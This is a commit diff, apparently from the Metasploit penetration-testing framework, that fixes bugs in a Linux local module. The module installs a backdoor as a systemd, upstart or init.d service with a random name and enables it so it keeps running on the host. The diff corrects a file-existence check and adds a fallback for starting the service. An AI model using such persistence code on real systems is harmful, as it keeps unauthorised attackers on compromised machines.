fix newline issue and service call

Author: h00die

modules/exploits/linux/local/service_persistence.rb

@@ -147,9 +147,10 @@ def systemd(backdoor_path, backdoor_file)
 WantedBy=multi-user.target}
 
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
-    vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
-    write_file("/lib/systemd/system/#{service_filename}.service", script)
-    if !file_exist?(backdoor)
+    service_name = "/lib/systemd/system/#{service_filename}.service"
+    vprint_status("Writing service: #{service_name}")
+    write_file(service_name, script)
+    if !file_exist?(service_name)
       print_error('File not written, check permissions.')
       return
     end
@@ -174,9 +175,10 @@ def upstart(backdoor_path, backdoor_file, runlevel)
 respawn limit unlimited}
 
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
-    vprint_status("Writing service: /etc/init/#{service_filename}.conf")
-    write_file("/etc/init/#{service_filename}.conf", script)
-    if !file_exist?(backdoor)
+    service_name = "/etc/init/#{service_filename}.conf"
+    vprint_status("Writing service: #{service_name}")
+    write_file(service_name, script)
+    if !file_exist?(service_name)
       print_error('File not written, check permissions.')
       return
     end
@@ -219,7 +221,8 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
         echo \"Already started\"
     else
         echo \"Starting $name\"
-        cd \"$dir\"}
+        cd \"$dir\"
+}
 
     if has_updatercd
       script << "        sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
@@ -283,18 +286,23 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
 exit 0}
 
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
-    vprint_status("Writing service: /etc/init.d/#{service_filename}")
-    write_file("/etc/init.d/#{service_filename}", script)
-    if !file_exist?(backdoor)
+    service_name = "/etc/init.d/#{service_filename}"
+    vprint_status("Writing service: #{service_name}")
+    write_file(service_name, script)
+    if !file_exist?(service_name)
       print_error('File not written, check permissions.')
       return
     end
-    cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
+    cmd_exec("chmod 755 #{service_name}")
     vprint_status('Enabling & starting our service')
     if has_updatercd
       cmd_exec("update-rc.d #{service_filename} defaults")
       cmd_exec("update-rc.d #{service_filename} enable")
-      cmd_exec("service #{service_filename} start")
+      if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
+        cmd_exec("service #{service_filename} start")
+      else
+        cmd_exec("/etc/init.d/#{service_filename} start")
+      end
     else # CentOS
       cmd_exec("chkconfig --add #{service_filename}")
       cmd_exec("chkconfig #{service_filename} on")